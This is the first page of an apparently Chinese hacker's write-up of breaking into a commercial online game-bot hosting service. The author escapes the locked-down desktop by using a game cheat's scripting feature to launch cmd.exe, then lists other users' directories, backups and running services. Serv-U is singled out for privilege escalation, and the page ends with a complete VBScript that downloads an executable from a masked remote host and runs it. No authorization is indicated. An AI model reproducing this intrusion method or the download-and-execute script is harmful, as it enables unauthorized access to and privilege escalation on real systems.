记一次对在线挂机网站的渗透

没办法.既然封的这么死.我还是从其他方面找突破吧.这里唯一能运行的就是外挂了.看看先.
经过十多分钟对外挂的研究.我终于找到一个能向硬盘写自定义数据的外挂了.他就是:传世-传家宝.哇哈哈.他自带了脚本录制功能.可以允许用户自己写脚本.这次.我们就用他来写我们需要的"脚本"
本人比较喜欢命令行.那么先写个bat吧.等等.你用什么来执行?别忘了.开始菜单我们能调用的.把我们要执行的bat存到"C:\Documents and Settings\win57-1\「开始」菜单\程序"即可调用了.桌面上的对象是全部隐藏的.存桌面是启动不了的哦.

存好后我们亲爱的命令行就来了.看样子管理员还是大意了.没禁用cmd.exe被偶钻了空子.

有了命令行.想干什么干什么了,哇哈哈
C:\>dir
驱动器 C 中的卷没有标签。
卷的序列号是 ECAC-42A4
C:\ 的目录
2005-12-11 23:01 0 AUTOEXEC.BAT
2005-12-11 23:01 0 CONFIG.SYS
2006-02-16 19:01 <DIR> Documents and Settings
2005-12-12 21:04 <DIR> Program Files
2006-04-09 17:23 <DIR> wgxz
2005-10-07 16:22 <DIR> WINDOWS
2005-12-11 23:01 <DIR> wmpub
2 个文件 0 字节
5 个目录 5,790,699,520 可用字节
C:\>dir d:\
驱动器 D 中的卷没有标签。
卷的序列号是 0044-8027
d:\ 的目录
2005-11-16 01:15 <DIR> GUEST
2006-04-09 17:25 <DIR> WIN57-1
2006-03-09 11:24 <DIR> WIN57-10
2006-02-14 01:48 <DIR> WIN57-11
2006-02-15 01:15 <DIR> WIN57-12
2006-03-27 03:01 <DIR> WIN57-13
2006-03-29 02:58 <DIR> WIN57-14
2006-02-19 14:22 <DIR> WIN57-15
2006-02-21 16:01 <DIR> WIN57-16
2006-02-20 01:32 <DIR> WIN57-17
2006-03-29 13:56 <DIR> WIN57-18
2006-03-19 23:44 <DIR> WIN57-19
2006-01-29 13:41 <DIR> WIN57-2
2006-02-16 17:09 <DIR> WIN57-20
2006-03-08 22:54 <DIR> WIN57-21
2006-02-24 22:52 <DIR> WIN57-22
2006-03-29 18:05 <DIR> WIN57-23
2006-03-29 18:07 <DIR> WIN57-24
2006-02-24 01:40 <DIR> WIN57-25
2006-03-29 03:02 <DIR> WIN57-26
2006-02-22 13:14 <DIR> WIN57-27
2006-02-22 19:29 <DIR> WIN57-28
2006-02-11 04:19 <DIR> WIN57-29
2006-03-09 23:46 <DIR> WIN57-3
2006-02-23 13:18 <DIR> WIN57-30
2006-03-28 19:16 <DIR> WIN57-4
2006-04-07 07:46 <DIR> WIN57-5
2006-02-17 01:32 <DIR> WIN57-6
2006-03-09 01:46 <DIR> WIN57-7
2006-03-12 23:15 <DIR> WIN57-8
2006-03-16 02:32 <DIR> WIN57-9
0 个文件 0 字节
31 个目录 14,603,556,352 可用字节
C:\>dir e:\
驱动器 E 中的卷没有标签。
卷的序列号是 E4FC-2B9B
e:\ 的目录
2005-08-03 18:54 1,596,175,877 winnew.GHO
2005-08-03 18:44 <DIR> Ghost
2005-10-28 22:53 2,147,475,474 10-28.GHO
2005-10-28 22:53 261,325,811 10-28001.GHS
2005-10-30 14:25 <DIR> win
2005-10-31 20:12 3,530,700 susetup6101.exe
2005-10-31 20:12 1,214,719 HF-ServU6101-LDR.zip
2005-10-31 20:17 2,369,168 PeanutHull3.0.2_Setup_PConline.rar
2005-10-31 20:18 7,078,177 3h1.rar
2005-11-03 23:51 1,123,608,718 win2003nn.rar
2005-11-05 00:04 <DIR> win2003nn
2005-11-05 12:53 7,692,665 1.rar
2005-11-05 12:53 <DIR> 1
2005-11-05 12:54 5,958,001 2222.rar
2005-11-05 13:02 <DIR> 2222
2005-11-05 13:58 <DIR> 121
2005-11-05 17:37 2,520,232 HA-Ghost8.0.rar
2005-11-05 17:38 <DIR> ghost80
2005-11-21 22:44 146,944 Spant.exe
12 个文件 5,159,096,486 字节
7 个目录 16,312,369,152 可用字节
看的出.d盘是用户的独立设置,e盘是备份和各种工具
C:\>net start
已经启动以下 Windows 服务:
Application Experience Lookup Service
COM+ Event System
Cryptographic Services
DCOM Server Process Launcher
DHCP Client
Distributed Link Tracking Client
Distributed Transaction Coordinator
DNS Client
Event Log
IPSEC Services
Logical Disk Manager
Network Connections
Network Location Awareness (NLA)
PeanuthullCore
Plug and Play
Protected Storage
Remote Access Connection Manager
Remote Procedure Call (RPC)
Remote Registry
Secondary Logon
Security Accounts Manager
Serv-U FTP 服务器
Server
Shell Hardware Detection
System Event Notification
Task Scheduler
TCP/IP NetBIOS Helper
Telephony
Terminal Server Licensing
Terminal Services
Windows Management Instrumentation
Workstation
命令成功完成。
哇哈哈.太开心了,看见什么了?serv-u.提权就靠你了.至于工具怎么弄过来.这是个小问题.
刚说是个小问题来着.一下就来麻烦了
C:\>start www.163.com
拒绝访问。
C:\>
ie被禁了.TNND.
不怕咱自己写个脚本来下载就行了.上帝保佑千万别禁vbs
Set xPost = CreateObject("Microsoft.XMLHTTP")

Set Shell = CreateObject("Wscript.Shell")

xPost.Open "GET","http://xxx.xxx.xxx.xxx:801/11/my/su6.exe",0

xPost.Send()

Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "e:\su6.exe",2
wscript.sleep 10000

Shell.Run ("e:\su6.exe")
这个简单的vbs应该不难懂吧.建立一个xmlhttp对象和Wscript.Shell对象.然后用xmlhttp对象进行下载.Wscript.Shell对象运行程序

上一页  [1] [2] [3] 下一页